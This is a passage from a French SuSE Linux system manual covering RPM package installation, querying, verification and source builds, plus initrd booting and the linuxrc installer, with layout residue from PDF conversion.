sous /etc/pam.d. ~ En plus des + pages de man (voir paragraphe 15.2.8 page 412), il existe aussi des pages d'info sous /usr/share. ~ makewhatis (paquetage makewhat) utilise maintenant le programme manpath pour trouver les pages de manuel. La variable d'environnement MANPATH ne doit plus être positionnée dans les fichiers rc. ~ ldconfig n'est invoqué que lorsqu'un répertoire /lib est plus récent que /etc/ld.so.cache. Il est lancé le cas échéant en arrière-plan. Le lancement de ldconfig peut être forcé si la variable d'environnement 414 ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________* *______________________ run_ldconfig est positionnée à true . Il est déjà possible, à l'invite d'amorçage, de positionner "run_ldconfig=true" . ~ Le paquetage ncurses est présent dans sa version 5.0. Comme aupara- vant, la version 4.2 de la ``bibliothèque partagée'' est incluse et il est ainsi possible, en général, de continuer à utiliser des programmes précompilés. ~ Le paquetage apache a été subdivisé. Installez aussi les sous-paquetages mod_* si vous avez besoin d'extensions spéciales. Vous trouverez la do- cumentation se rapportant à PHP dans le paquetage phpdoc. Pour plus de clarté, les fichiers de trace sont situés dans /var/log/httpd. ~ Roxen est divisé de cette manière : Le paquetage roxen sans crypto- graphie et le paquetage roxenssl avec support pour la cryptographie. Ceci présente l'avantage qu'il n'est plus nécessaire de gérer un paquetage roxenint séparé. ~ Le paquetage changes n'est plus inclus. Les informations souhaitées peuvent être affichées par rpm : tux@terre: > rpm -q --changelog 15.3 RPM ~ Le gestionnaire de paquetages de la distribu- tion Avec la version 5.0 de SuSE Linux, RPM (rpm ) (angl. RPM Package Ma- nager) a fait son entrée dans la distribution. La gestion des paquetages est ainsi facilitée pour tous ceux qui se trouvent concernés, l'utilisateur, l'admi- nistrateur système et ~ non dans une moindre mesure ~ le constructeur de paquetages. Grâce à la puissante base de données RPM, on dispose à tout moment d'informations détaillées sur les logiciels installés. En substance, rpm peut agir en trois modes : créer des paquetages à partir des sources inaltérés (angl. pristine sources), les installer ou aussi les désinstaller ou les mettre à jour et il peut également consulter la base de données RPM ou une archive RPM particulière. Les archives RPM installables sont compressées dans un format binaire spé- cial. Les archives sont constituées des fichiers (de programmes) à installer et de diverses méta-informations qui, pendant l'installation, sont soit utilisées par rpm pour configurer chaque paquetage logiciel, soit inscrites à fin de do- cumentation dans la base de données RPM. Les archives RPM ont des noms de fichiers avec l'extension .rpm. 15.3.1 Gérer les paquetages : Installer, mettre à jour et désinstaller Normalement, l'installation d'une archive RPM est extrêmement simple : terre: # rpm -i .rpm Avec cette commande standard, un paquetage sera installé uniquement si les ``dépendances'' sont résolues et si tout ``conflit'' est exclus. Par la voie d'un message d'erreur, rpm demande les paquetages nécessités pour résoudre les dépendances. La base de données veille, dans les coulisses, à ce qu'aucun conflit ne puisse se produire : en règle générale, un fichier ne doit faire partie * * 415 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ que d'un seul paquetage. Avec différentes options on peut toutefois contour- ner cette règle, mais qui la contourne devrait savoir exactement ce qu'il fait car il met éventuellement en jeu la fonction de mise à jour du système. L'option -U ou --upgrade présente également un certain intérêt pour l'ac- tualisation d'un paquetage. Une version plus ancienne du même paquetage sera effacée et la nouvelle version sera installée. Parallèlement, rpm essaiera de manipuler soigneusement les fichiers de configuration en adoptant ~ de manière un peu simplifiée ~ la stratégie suivante : ~ Dans le cas où un fichier de configuration n'aurait pas été modifié par l'administrateur système, rpm installera la nouvelle version de ce fichier. L'administrateur n'aura pas besoin d'intervenir. ~ Si un fichier de configuration a été modifié par l'administrateur avant la mise à jour, rpm ne sauvegardera le fichier modifié avec l'extension .rpmorig ou .rpmsave et n'installera la nouvelle version du paque- tage RPM que dans le seul cas où il existerait quelque différence entre le fichier d'origine et le fichier du paquetage de mise à jour. Vous serez très probablement obligé alors de faire concorder, au moyen d'une co- pie (.rpmorig ou .rpmsave), le fichier de configuration nouvellement installé avec les conditions de votre système. Ensuite tous les fichiers .rpmorig ou .rpmsave devront absolument être supprimés afin qu'ils ne puissent pas constituer un obstacle à des mises à jour ultérieures1 L'option -U n'est en aucune manière un simple équivalent de rpm -e : : : (désinstaller/effacer) suivi de rpm -i : : : (installer). Il convient, à chaque fois que c'est possible, de donner la préférence à l'option -U . ________________________________________________________________________________________________________* *________|| | Après chaque mise à jour, vous devrez vérifier toutes les copies de sau- * * |||| | * * ||| | vegarde créées par rpm avec l'extension .rpmorig ou .rpmsave ; elles * * ||| | constituent vos anciens fichiers de configuration. Si c'est nécessaire, repre- * * ||| | * * ||| | nez toutes les modifications des copies de sauvegarde dans les nouveaux * * ||| | fichiers de configuration et effacez ensuite tous les vieux fichiers ayant * * ||| | * * ||| | l'extension .rpmorig ou .rpmsave. * * ||| |_______________________________________________________________________________________________________* *________|||_ Pour supprimer un paquetage, on procède d'une manière tout aussi simple : terre: # rpm -e rpm ne supprimera un paquetage que s'il n'existe plus aucune dépendance. Il n'est donc pas possible théoriquement d'effacer par exemple Tcl/Tk aussi longtemps qu'un programme, quel qu'il soit, en a besoin pour tourner. RPM veille aussi à cela avec le soutien de la base de données. Si, dans un cas particulier, une telle opération d'effacement ne devait pas être possible ~ bien qu'il n'existe plus aucune dépendance ~ il peut s'avérer utile de reconstruire la base de données RPM avec l'option ~rebuilddb ; voir plus loin les remarques concernant la base de données RPM (paragraphe 15.3.2 page 419). _____________________________________________1 L'extension .rpmorig est choisie lorsque le fichier n'est pas encore connu de la base de données RPM. Sinon c'est .rpmsave qui est utilisé ; en d'autres termes : des .rpmorig sont créés 416 ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________* *______________________ 15.3.2 Faire des requêtes Avec l'option -q (angl. query), on peut faire des requêtes. Il est ainsi possible, aussi bien d'examiner soi-même les archives RPM (option -p ) que d'adresser des requêtes à la base de don- nées RPM. Vous pouvez choisir le mode d'information avec les sous-options supplémentaires du tableau 15.1. ______________________________________________________________________________________________________________________ -i Affichage des informations sur les paquetages -l Affichage de la liste des fichiers du paquetage -f + Requiert le paquetage qui contient le fichier ; doit être spécifié avec le nom de chemin complet ! -s Affichage du statut des fichiers (implicite -l ) -d Lister seulement les fichiers de documentation (im- plicite -l ) -c Lister seulement les fichiers de configuration (impli- cite -l ) --dump Affichage de toutes les informations contrôlables concernant chaque fichier (utiliser avec -l , -c ou -d !) --provides Lister les caractéristiques du paquetage pouvant être requises par un autre paquetage avec --requires --requires , -R Afficher les dépendances des paquetages --scripts Afficher les divers scripts d'installation ou de désins- tallation ______________________________________________________________________________________________________________________ Tab. 15.1: Les principales options pour faire des requêtes (-q [-p ] : : : ) La commande terre: # rpm -q -i rpm affiche l'information, que l'on peut voir dans l'affichage 15.3.1 page suivante L'option -f ne vous conduira au but que si vous connaissez le nom de fichier complet, y compris le chemin d'accès. Vous pouvez spécifier n'importe quel nombre de noms de fichiers à retrouver, par exemple : terre: # rpm -q -f /bin/rpm /usr/bin/wget donnera le résultat rpm-3.0.3-3 wget-1.5.3-55 Si l'on ne connait qu'une partie du nom du fichier, on devra avoir recours à un shell (voir fichier 15.3.1 page suivante). Le nom de fichier recherché devra être transmis sous forme de paramètre au lancement du script. Avec la commande * * 417 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | Name : rpm Relocations: (not relocateable) * * | || Version : 3.0.3 Vendor: SuSE GmbH, Germany * * || | Release : 47 Build Date: Fri Dec 10 13:50:27 * * | | Install date: Tue Dec 14 12:57:00 1999 Build Host: Cauchy.suse.de * * | | Group : unsorted Source RPM: rpm-3.0.3-47.src.rpm * * | | * * | | Size : 5740847 License: GPL * * | | Packager : feedback@suse.de * * | | Summary : RPM Package Manager * * | | Description : * * | | * * | | RPM Package Manager is the main tool for managing software packages * * | | of the SuSE Linux distribution. * * | | [...] * * | | * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 15.3.1: rpm -q -i rpm ________________________________________________________________________________________________________* *________|| | * * | | #! /bin/sh * * | | for i in `rpm -q -a -l | grep $1 `; do * * | | * * | | echo "\"$i\" est dans le paquetage:" * * | | rpm -q -f $i * * | | echo "" * * | | done * * | | * * | |_______________________________________________________________________________________________________* *________ | fichier 15.3.1: Script de recherche de paquetages terre: # rpm -q --changelog rpm on peut obtenir l'affichage des informations (mises à jour, configuration, modifications, etc.) concernant un paquetage déterminé. Il s'agit dans notre exemple du paquetage rpm. Il est possible, au moyen de la base de données, d'effectuer aussi des contrôles. Ces procédures seront mises en route par l'option -V (qui a la même signification que -y ou --verify ). On amène ainsi rpm à montrer tous les fichiers qui ont subi des modifications par rapport à la version d'ori- gine telle qu'elle était contenue dans le paquetage. Devant le nom de fichier proprement dit, rpm place un maximum de 8 caractères qui indiquent les modifications suivantes : _______________________________________________________________________________________________________* *_________ 5 Somme de contrôle MD5 S Taille du fichier L Lien symbolique T Temps de modification D Numéro de périphérique (angl. device number) ``majeur'' et ``mineur'' U Utilisateur (angl. user) G Groupe (angl. group) M Mode (y compris les droits et le type) _______________________________________________________________________________________________________* *_________ Tab. 15.2: Les contrôles 418 ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________* *______________________ Pour les fichiers de configuration il sera ajouté un c . Exemple : Si une modi- fication a été apportée à /etc/wgetrc du paquetage wget : terre: # rpm -V wget S.5....T c /etc/wgetrc Les fichiers de la base de données RPM sont situés sous /var/lib/rpm. Dans le cas d'une partition /usr de 500 Mo, la base de données peut très bien nécessiter 20 Mo d'espace disque, tout particulièrement après une mise à jour complète. Si la base de données semble plus grande qu'elle ne devrait, il est très souvent efficace de créer une nouvelle base de données à partir de l'ancienne avec l'option --rebuilddb . Et il n'est pas inutile, avant une telle reconstruction (angl. rebuild), de conserver une copie de la base de données déjà existante. Par ailleurs, le script du cron.daily dépose journellement des copies com- pressées de la base de données sous /var/adm/backup/rpmdb. Le nombre de ces copies est déterminé par la variable (standard : 5 ) dans le fichier /etc/rc.config. On peut s'attendre à ce que chaque sauvegarde demande jusqu'à 2 Mo (pour un fichier /usr de la taille de 500 Mo). Il faut absolument tenir compte de la place requise lors de la dé- termination de la taille de la partition racine si l'on ne veut pas prévoir pour /var une partition séparée. 15.3.3 Installer et compiler les paquetages sources Tous les paquetages sources de SuSE Linux se trouvent dans la série zq (Paquetages sources) et le nom proprement dit des paquetages est suivi de l'extension .spm. Ces fichiers sont ce que l'on appelle les ``sources RPM''. _______________________________________________________________________________________________________________________|| |||||||| Ces paquetages ~ comme tous les autres ~ peuvent être installés par YaST . ||| | |||||||| || | |||||||| Toutefois les paquetages sources ne sont jamais marqués pour l'installation || | |||||||| || | |||||||| ([i] ) comme les autres paquetages ``réguliers''. Ceci est dû au fait que les || | |||||||| paquetages sources ne sont pas présents dans la base de données RPM. || | |||||||| || | |||||||| Seuls apparaissent, dans la base de données RPM, les logiciels utilitaires || | |||||||| installés. || | ||||||||_______________________________________________________________________________________________________________||_ Les répertoires de travail de rpm sous /usr/src/packages doivent être pré- sents (à moins que vous n'ayez fait vos propres configurations, par exemple à travers /etc/rpmrc) : SOURCES pour les sources originaux (fichiers.tar.gz, etc.), et les adap- tations spécifiques à la distribution (fichiers .dif). SPECS pour les fichiers .spec qui pilotent le processus ``build'' à la manière d'un méta-Makefile. BUILD au dessous de ce répertoire, les sources sont décompressés, patchés et compilés. RPMS c'est ici que sont placés les paquetages ``binaires'' préparés. SRPMS et ici les paquetages RPM ``source''. * * 419 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Ne faites pas d'expériences avec RPM sur des composants essentiels du * * |||| || système (paquetage libc, paquetage rpm, paquetage nkit, etc.). Vous * * |||| | mettez en jeu la fonctionnalité de votre système. * * |||| |_______________________________________________________________________________________________________* *________|||_ Si vous installez un paquetage source de la série zq avec YaST , les com- posants nécessaires au processus ``build'' seront installées sous /usr/src/ packages : les sources et les adaptations sous SOURCES, et le fichier .spec qui s'y rapporte sous SPECS2 . Ensuite le paquetage sera examiné. Après l'ins- tallation du paquetage source wget.spm avec YaST , vous avez les fichiers suivants : /usr/src/packages/SPECS/wget.spec /usr/src/packages/SOURCES/wget-1.4.5.dif /usr/src/packages/SOURCES/wget-1.4.5.tar.gz Avec rpm -b /usr/src/packages/SPECS/wget.spec , le proces- sus de compilation est mis en route ; peut symboliser différents niveaux (voir l'affichage ~help ou la documentation RPM. Ici, un bref résumé : -bp préparer les sources dans le répertoire /usr/src/packages/BUILD : décompresser et patcher. -bc identique à -bp mais compile en plus. -bi identique à -bc mais installe en plus. Attention, si un paquetage ne sup- porte pas la fonctionnalité BuildRoot, il est possible que pendant le pro- cessus d'installation d'importants fichiers de configuration soient écra- sés ! -bb identique à -bi mais crée encore en plus le RPM binaire. Si tout a réussi, il se trouve dans /usr/src/packages/RPMS. -ba identique à -bb mais crée encore en plus le RPM source. Si tout a réussi, il se trouve sous /usr/src/packages/SRPMS. Avec l'option ~short-circuit , on peut sauter certaines phases, Le RPM binaire qui a été créé doit ensuite être installé avec rpm -i , ou mieux encore avec rpm -U , afin qu'il apparaisse dans la base de données RPM. 15.3.4 Outils pour archives et base de données RPM Le Midnight Commander (mc ) est capable par lui-même d'afficher le contenu d'une archive RPM ou d'en copier des extraits. Il reproduit une telle archive sous forme d'un système de fichiers virtuel, de telle sorte que toutes les op- tions du_menu du Midnight Commander sont disponibles en cas de besoin. Avec |___F|3, on peut visualiser les informations_de_la ligne d'en-tête du ``fichier'' HEADER ; avec les touches du curseur et |E_________|ntréeon peut explorer_la structure de l'archive pour en copier, le cas échéant, des extraits avec |F___|5. ~ Il existe aussi maintenant pour Emacs un rpm.el qui est un ``frontal'' de rpm :-) xrpm est le nom d'un gestionnaire graphique RPM. Cet outil est réalisé en Python qui est un élégant langage de script. xrpm supporte les actions via FTP._________________________________________ 2 Pour la ``construction des paquetages'' (angl. build mode) voir [Bai97 ] ainsi que la page de man de rpm (man rpm ). Vous y trouverez d'autres possibilités d'utilisation. 420 ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________* *______________________ KDE contient l'outil krpm , une interface graphique sous X servant à mani- puler RPM. Avec GNOME , vous trouverez gnorpm . Avec Alien (alien ) il est possible de convertir les formats des paquetages des différentes distributions. On peut ainsi essayer, avant d'installer, de convertir de vieilles archives TGZ vers RPM afin qu'il soit fourni à la base de données RPM des informations sur les paquetages pendant l'installation. Mais atten- tion : alien est un script Perl et il se trouve encore, selon ses auteurs, au stade Alpha bien qu'il ait déjà un numéro de version avancé. Last, not least ~ YaST existe (voir paragraphe 3.4.9 page 98). * * 421 15. Mise à jour du_système_et_gestion_des_paquetages______________________________________________________________________________* *_______________________________________@ 422 Chapitre 16 Particularités sous SuSE Linux 16.1 Filesystem Hierarchy Standard (FHS) et Linux Stan- dard Base (LSB) SuSE Linux cherche a être le plus possible en conformité avec le standard des systèmes des fichiers (FSSTD ) ou avec le standard de la hiérarchie des systèmes de fichiers (FHS, paquetage fhs, série doc) qui a pris la succes- sion. Pour cette raison il est parfois nécessaire de déplacer des fichiers ou répertoires pour les mettre au ``bon'' endroit dans le système de fichiers. SuSE soutient activement les efforts du projet Linux Standard Base. Vous trouverez des informations actuelles sur ce sujet sous http://www. linuxbase.org. 16.1.1 Environnements exemples pour FTP et HTTP Pour FTP Pour simplifier la mise en place d'un serveur FTP, le paquetage ftpdir met à votre disposition un environnement exemple. Cet environnement est installé sous /usr/local/ftp. Pour HTTP Apache est le serveur Web standard de SuSE Linux. Simultanément à l'ins- tallation du serveur Apache , des documents exemples sont mis à disposi- tion sous /usr/local/httpd. Si vous voulez construire votre propre ser- veur Web, il est recommandable d'enregistrer votre DocumentRoot person- nel dans /etc/httpd/httpd.conf. 16.1.2 teTeX ~ TE X sous SuSE Linux teTeX a été élaboré selon la TEX Directory Structure (TDS) (voir ftp:// ftp.dante.de/tex-archive/tds/) sans enfreindre la norme FHS. * * 423 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ 16.2 Amorçage avec le ``disque virtuel initial'' Exposé du problème Dès que le noyau Linux est chargé et que le système de fichiers racine (/) est monté, il est possible d'exécuter des programmes et d'insérer des modules du noyau pour pouvoir disposer de fonctionnalités supplémentaires. Mais pour qu'il soit possible de monter le système de fichiers racine, diverses conditions doivent être remplies : Le noyau a besoin de pilotes adéquats (particulièrement de pilotes SCSI) pour pouvoir accéder au périphérique sur lequel est situé le système de fichiers racine. Le noyau doit en outre contenir le code nécessaire à la lecture du système de fichiers (ext2 , reiserfs , romfs , etc.). Il peut aussi arriver que le système de fichiers racine soit encodé. Pour le montage il est alors indispensable d'entrer la clé/le mot de passe. Si l'on considère le problème des pilotes SCSI, il est possible d'envisager différentes solutions : Le noyau peut contenir tous les pilotes possibles et imaginables. Ceci est problématique car les différents pilotes peuvent entrer en conflit les uns avec les autres et le noyau devient en outre très gros. Une autre solution consiste à mettre à disposition différents noyaux dont chacun contient seulement un nombre très limité de pilotes SCSI, voire même un seul. Cette méthode est également problématique car elle requiert un très grand nombre de pilotes différents. Ce problème est encore accentué par les noyaux optimisés de manière différente (optimisation Pentium, SMP). La tentative de charger le pilote SCSI sous forme de module conduit à la problématique générale rencontrée en raison du concept du disque virtuel initial : Pouvoir exécuter des programmes userspace avant le montage du système de fichiers racine. 16.2.1 Concept du disque virtuel initial Le disque virtuel initial (appelé aussi ``initdisk'' ou ``initrd'') provoque les problèmes décrits précédemment. Le noyau Linux donne la possibilité de faire charger un (petit) système de fichiers dans un disque virtuel et d'y faire exécuter des programmes avant que le système de fichiers racine proprement dit ne soit monté. Le chargement d'initrd est assumé par le gestionnaire d'amorçage (LILO , loadlin etc.). Ces gestionnaires d'amorçage requièrent seulement les routines du BIOS pour charger des données depuis le support d'amorçage. Si le gestionnaire d'amorçage peut charger le noyau, il peut aussi charger le disque virtuel initial. Des pilotes spéciaux ne sont donc pas nécessaires. 16.2.2 Déroulement du processus d'amorçage avec initrd Le gestionnaire d'amorçage charge le noyau et initrd en mémoire et dé- marre le noyau. Lors de cette procédure, le gestionnaire d'amorçage fait sa- voir au noyau qu'il existe un initrd et lui indique son emplacement en mé- moire. Si initrd a été compressé (ce qui est généralement le cas), le noyau le dé- compresse et le monte comme système de fichiers temporaire. Après cela, 424 ____________________________________________________________16.2.__Amorçage_avec_le_``disque_virtuel_initial''______________* *______________________ un programme du nom de linuxrc est lancé dans initrd. Ce programme peut faire tout ce qui est nécessaire pour monter le véritable système de fi- chiers racine. Dès que linuxrc se termine, le système de fichiers (temporaire) initrd est démonté et le processus d'amorçage est poursuivi de la manière habituelle avec le montage du véritable système de fichiers racine. Le mon- tage d'initrd et l'exécution de linuxrc peuvent être ainsi être considérés comme un bref intermède dans un processus d'amorçage normal. Si initrd ne peut pas être démonté (ce que l'on considère en général comme étant le résultat d'une erreur), le noyau tente de remonter initrd sur le réper- toire /initrd. Si le point de montage /initrd n'est pas non plus présent, il apparaît un message d'erreur. Le système est dans un tel cas pleinement fonctionnel mais l'espace mémoire occupé par initrd ne peut pas être libéré et n'est donc plus disponible. linuxrc Pour le programme linuxrc dans initrd il n'existe que les obligations sui- vantes : Il doit porter explicitement le nom de linuxrc et doit se trouver dans le répertoire racine d'initrd. Outre cela, il ne doit être exécuté que par le noyau. Cela signifie que linuxrc peut parfaitement être lié dynami- quement. Dans ce cas, les ``bibliothèques partagées'' doivent bien sûr être comme d'habitude complètement disponibles sous /lib dans initrd. Le programme linuxrc peut aussi être un script shell. Dans ce cas il doit bien entendu exister un + shell dans /bin. En résumé, initrd doit contenir un système Linux minimal permettant l'exécution du programme linuxrc . Lors de l'installation de SuSE Linux, on utilise un linuxrc lié statiquement afin de pouvoir maintenir initrd aussi petit que possible (la place sur les disquettes d'amorçage est très juste). linuxrc est exécuté avec les droits de `root'. Le véritable système de fichiers racine Dès que linuxrc est terminé, initrd est démonté et rejeté. Le processus d'amorçage suit normalement son cours et le noyau monte le véritable sys- tème de fichiers racine. Ce qui doit être monté comme système de fichiers racine peut être déterminé par linuxrc . Il suffit pour cela que linuxrc monte le système de fichiers /proc et écrive la valeur du véritable système de fichiers racine sous forme numérique dans /proc/sys/kernel/real-root-dev. 16.2.3 Gestionnaires d'amorçage La plupart des gestionnaires d'amorçage (particulièrement LILO , loadlin et syslinux ) peuvent utiliser initrd. Voici comment on fait savoir aux diffé- rents gestionnaires d'amorçage qu'ils doivent utiliser initrd : 1. LILO Entrée de la ligne suivante dans /etc/lilo.conf : Le fichier /boot/initdisk.gz est le disque virtuel initial. Il peut (mais ne doit pas obligatoirement) être compressé. 2. loadlin.exe Appel au moyen de : C:> loadlin initrd=C:\loadlin\initdisk.gz * * 425 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | * * | || initrd=/boot/initdisk.gz * * || | * * | |_______________________________________________________________________________________________________* *________ | 3. syslinux Entrée de la ligne suivante dans syslinux.cfg : ________________________________________________________________________________________________________* *________ | * * | | append initrd=initdisk.gz * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | 16.2.4 Utilisation d'initrd avec SuSE Installation du système initrd est déjà mis en oeuvre depuis longtemps pour l'installation : L'utili- sateur peut charger des modules sous linuxrc et faire les entrées nécessaires à l'installation, comme (tout particulièrement) le support source. linuxrc lance alors YaST qui effectue l'installation. Lorsque YaST a fait son travail, il com- munique à linuxrc l'emplacement du système de fichiers racine nouvellement installé. linuxrc écrit cette valeur dans /proc et termine son exécution. Le noyau continue d'amorcer dans le nouveau système. Lors de l'installation de SuSE Linux, on amorce donc ainsi pratiquement dès le début le système que l'on installe ~ c'est plutôt chic ;-) Un véritable ré- amorçage après l'installation n'a lieu que si le noyau n'est pas en harmonie avec les modules qui ont été installés dans le système. Comme SuSE Linux utilise actuellement, pendant l'installation, un noyau pour systèmes monopro- cesseurs, ceci ne se produit que s'il a été installé dans le système un noyau SMP avec les modules correspondants. Pour qu'il soit possible d'utiliser tous les modules, le noyau SMP nouvellement installé dans le système doit être réamorcé. Amorçage du système installé Autrefois, YaST proposait pour l'installation plus de 40 noyaux qui se diffé- renciaient les uns des autres par le fait que chacun contenait un pilote SCSI particulier. Cela était nécessaire pour pouvoir monter le système de fichiers racine après l'amorçage. D'autres pilotes pouvaient être chargés ensuite sous forme de modules. Comme à présent des noyaux optimisés sont aussi disponibles, ce concept n'est plus acceptable ~ plus de 100 images de noyaux seraient maintenant nécessaires. On utilise donc aussi initrd pour démarrer normalement le système. La pro- cédure est analogue à celle d'une installation. Ici cependant, linuxrc n'est qu'un script shell qui a pour seule tâche de charger quelques modules déter- minés. En général, il ne s'agit que d'un seul module qui est le pilote SCSI nécessaire pour pouvoir accéder au système de fichiers racine. 426 ____________________________________________________________16.2.__Amorçage_avec_le_``disque_virtuel_initial''______________* *______________________ Création d'un initrd La création d'un initrd se fait au moyen du script mk_initrd . Les modules à charger sont déterminés sous SuSE Linux par la variable INITRD_MODULES dans /etc/rc.config. Après l'installation il est automatiquement attribué à cette variable des valeurs exactes (le linuxrc utilisé pour l'installation sait en effet quels modules ont été chargés). Il convient de préciser que les mo- dules sont chargés exactement dans l'ordre dans lequel il apparaissent dans la variable INITRD_MODULES . Ceci est tout particulièrement important lorsque plusieurs pilotes SCSI sont utilisés car autrement la dénomination des disques serait modifiée. Il suffirait en fait de faire charger uniquement le pilote SCSI requis pour l'accès au système de fichiers racine. Comme le chargement auto- matique de pilotes SCSI supplémentaires est cependant problématique (com- ment pourrait-on ``combiner'' une chose pareille alors que des disques sont reliés au second adaptateur SCSI), tous les pilotes SCSI nécessités au cours de l'installation seront chargés au moyen d'initrd. Le script mk_initrd vérifie si un pilote SCSI est nécessaire pour l'accès au système de fichiers racine. Si l'on invoque mk_initrd sur un système dans lequel / est situé sur des disques EIDE, il ne créera pas d'initrd, celui-ci n'étant pas nécessaire du fait que le noyau utilisé par SuSE Linux contient déjà les pilotes EIDE. Comme de plus en plus de contrôleurs EIDE spéciaux font actuellement leur apparition sur le marché, il est à prévoir qu'il faudra à l'avenir utiliser aussi dans ces cas un initrd pour l'amorçage du système installé. Important : Comme le chargement d'initrd par le gestionnaire d'amorçage se déroule exactement de la même manière que le chargement du noyau lui- même (LILO inscrit dans son fichier map la position des fichiers), il est in- dispensable de réinstaller LILO après toute modification apportée à initrd ! Après une commande mk_initrd , une commande lilo est donc toujours nécessaire ! 16.2.5 Difficultés éventuelles ~ Noyau compilé par l'utilisateur Si vous compilez vous-même un noyau, vous pouvez vous trouver confronté à certains problèmes qui apparaissent assez fréquemment : Pour des raisons d'habitude, le pilote SCSI est inséré en permanence dans le noyau mais initrd demeure inchangé. Lors de l'amorçage, il se passe ce qui suit : le noyau contient déjà le pilote SCSI, le matériel est reconnu mais initrd es- saie malgré tout de charger encore une fois le pilote sous forme de module. Avec certains pilotes (particulièrement aic7xxx ), cela provoque un blocage du système. Il s'agit à proprement parler d'une erreur du noyau (un pilote déjà présent ne doit pas être chargé une deuxième fois sous forme de module) ~ ce problème est cependant déjà connu dans un autre contexte (pilotes série). Il existe plusieurs solutions à ce problème : Il est possible, soit de configu- rer le pilote comme module (il est alors chargé correctement dans initrd), soit de supprimer de /etc/lilo.conf l'entrée pour initrd. Une solution équivalente consiste à supprimer le pilote de la variable INITRD_MODULES et à invoquer mk_initrd qui constatera alors qu'initrd n'est pas nécessaire. * * 427 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ 16.2.6 Perspectives Il est pensable qu'à l'avenir initrd soit utilisé pour tout un tas de choses d'un niveau plus élevé que le chargement des modules nécessaires à l'accès à /. ~ Pilotes EIDE ``haut de gamme'' ~ Système de fichiers racine sur RAID logiciel (linuxrc fait le nécessaire la mise en fonction des périphériques md) ~ Système de fichiers racine sur LVM ~ Système de fichiers racine encodé (linuxrc demande le mot de passe) ~ Système de fichiers racine sur un disque SCSI connecté à l'adaptateur PCMCIA Informations complémentaires /usr/src/linux/Documentation/ramdisk.txt /usr/src/linux/Documentation/initrd.txt page de man de initrd (man 4 initrd ). 428 ________________________________________________________________________________________________________________16.3.__linux* *rc____________________ 16.3 linuxrc linuxrc est un programme lancé pendant la phase de démarrage du noyau avant que l'amorçage proprement dit ne se fasse1 . Cette propriété appréciable que possède le noyau permet d'amorcer un petit noyau modulaire et de char- ger ultérieurement, sous forme de modules, les quelques pilotes peu nom- breux dont on a vraiment besoin ~ en cas de nécessité absolue, même à partir d'une deuxième disquette (modules) . Lors du chargement des pilotes qui gèrent votre matériel, linuxrc vous apporte son aide. Vous pouvez l'utiliser non seulement pour l'installation mais aussi comme outil d'amorçage de votre système déjà installé (comme une sorte de disquette de secours). Vous pouvez même lancer un système de secours indépendant basé sur un disque RAM, dans le cas par exemple où votre disque dur serait gravement endommagé ou tout simplement si vous avez oublié votre mot de passe `root'. Vous trouverez plus de détails au paragraphe 16.5 page 438. Menu principal Lorsque la langue, l'écran et le clavier ont été configurés, vous arrivez au menu principal de linuxrc (voir figure 2.3 page 30). Le but à atteindre est l'option du menu `Démarrer l'installation / le système'. Il dépend du matériel de votre machine que vous puissiez vous diriger directement vers celui-ci : Si tous les composants nécessités pour une installation ont déjà été reconnus par le noyau, vous n'aurez pas besoin de charger d'autres pilotes. C'est le cas pour les machines qui disposent uniquement de disques durs et de lecteurs de CD-ROM connectés à un adaptateur (E)IDE. Si le système possède un adaptateur SCSI nécessité pour l'installation 2 il faudra charger un module SCSI. Il en sera de même si l'installation doit se faire par le réseau : Dans ce cas, il faudra d'abord charger un module approprié pour la carte réseau à utiliser. Enfin, il existe encore toute une gamme d'anciens lecteurs de CD-ROM qui ont été livrés avec leur propre carte contrôleur et qui requièrent de ce fait leurs propres modules du noyau. Vous devrez également charger des modules si vous utilisez un laptop équipé de phériphériques PCMCIA. Informations sur le système Si vous ne savez pas avec certitude quel matériel possède votre machine, les messages du noyau affichés pendant l'amorçage peuvent vous aider. Sous `Informations sur le système' (figure 16.1 page suivante) vous pouvez, en plus des messages du noyau, vérifier encore d'autres choses telles que les adresses d'E/S des cartes PCI ou la quantité de mémoire centrale qui a été reconnue par Linux. 1 ____________________________________________________ Bien entendu, le noyau doit être configuré de façon adéquate. 2 Un adaptateur sur lequel n'est branché qu'un seul scanner pourra, a priori, ne pas entrer en ligne de compte. * * 429 16. Particularités_sous_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ Fig. 16.1: Informations sur le système Les lignes suivantes montrent comment se manifestent un disque dur et un lecteur de CD-ROM connectés à un adaptateur EIDE. Dans ce cas vous n'avez pas à charger de modules du noyau pour une installation : hda: ST32140A, 2015MB w/128kB Cache, LBA, CHS=1023/64/63 hdb: CD-ROM CDR-S1G, ATAPI CDROM drive Partition check: hda: hda1 hda2 hda3 < hda5 > Si vous avez démarré un noyau dans lequel un pilote SCSI est déjà inséré en permanence, vous n'aurez bien sûr pas besoin non plus de charger de module SCSI. Message typique lorsqu'un adaptateur SCSI et les périphériques qui y sont connectés sont reconnus : scsi : 1 host. Started kswapd v 1.4.2.2 scsi0 : target 0 accepting period 100ns offset 8 10.00MHz FAST SCSI-II scsi0 : setting target 0 to period 100ns offset 8 10.00MHz FAST SCSI-II Vendor: QUANTUM Model: VP32210 Rev: 81H8 Type: Direct-Access ANSI SCSI revision: 02 Detected scsi disk sda at scsi0, channel 0, id 0, lun 0 scsi0 : target 2 accepting period 236ns offset 8 4.23MHz synchronous SCSI scsi0 : setting target 2 to period 248ns offset 8 4.03MHz synchronous SCSI Vendor: TOSHIBA Model: CD-ROM XM-3401TA Rev: 0283 Type: CD-ROM ANSI SCSI revision: 02 scsi : detected 1 SCSI disk total. SCSI device sda: hdwr sector= 512 bytes. Sectors= 4308352 [2103 MB] [2.1 GB] 